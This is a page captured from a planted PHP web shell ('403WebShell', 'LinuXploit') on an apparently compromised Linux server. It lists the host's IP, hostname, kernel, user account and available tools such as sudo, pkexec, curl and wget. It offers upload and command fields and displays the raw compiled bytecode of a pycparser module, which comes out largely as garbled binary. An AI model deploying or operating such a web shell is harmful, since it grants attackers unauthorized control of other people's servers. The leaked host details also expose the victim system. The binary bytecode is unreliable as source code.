Done ! 403WebShell
403Webshell
Server IP : 162.240.50.153  /  Your IP : 216.73.216.201
Web Server : Apache
System : Linux vps-880082.mktpower.cl 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : wwmktp ( 1003)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.7/site-packages/pycparser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/site-packages/pycparser/ast_transforms.pyo
�
g�wUc@s&ddlmZd�Zd�ZdS(i(tc_astcCs�t|jtj�s|Stjg|jj�}d}x�|jjD]�}t|tjtjf�r�|jj	|�t
||j�|jd}qD|dkr�|jj	|�qD|jj	|�qDW||_|S(s� The 'case' statements in a 'switch' come out of parsing with one
        child node, so subsequent statements are just tucked to the parent
        Compound. Additionally, consecutive (fall-through) case statements
        come out messy. This is a peculiarity of the C grammar. The following:

            switch (myvar) {
                case 10:
                    k = 10;
                    p = k + 1;
                    return 10;
                case 20:
                case 30:
                    return 20;
                default:
                    break;
            }

        Creates this tree (pseudo-dump):

            Switch
                ID: myvar
                Compound:
                    Case 10:
                        k = 10
                    p = k + 1
                    return 10
                    Case 20:
                        Case 30:
                            return 20
                    Default:
                        break

        The goal of this transform it to fix this mess, turning it into the
        following:

            Switch
                ID: myvar
                Compound:
                    Case 10:
                        k = 10
                        p = k + 1
                        return 10
                    Case 20:
                    Case 30:
                        return 20
                    Default:
                        break

        A fixed AST node is returned. The argument may be modified.
    i����N(t
isinstancetstmtRtCompoundtcoordtNonetblock_itemstCasetDefaulttappendt_extract_nested_casetstmts(tswitch_nodetnew_compoundt	last_casetchild((s</usr/lib/python2.7/site-packages/pycparser/ast_transforms.pytfix_switch_cases
s4	cCsPt|jdtjtjf�rL|j|jj��t|d|�ndS(s� Recursively extract consecutive Case statements that are made nested
        by the parser and add them to the stmts_list.
    ii����N(RRRRRR	tpopR
(t	case_nodet
stmts_list((s</usr/lib/python2.7/site-packages/pycparser/ast_transforms.pyR
bs"N(tRRR
(((s</usr/lib/python2.7/site-packages/pycparser/ast_transforms.pyt<module>
s	U

Youez - 2016 - github.com/yon3zu
LinuXploit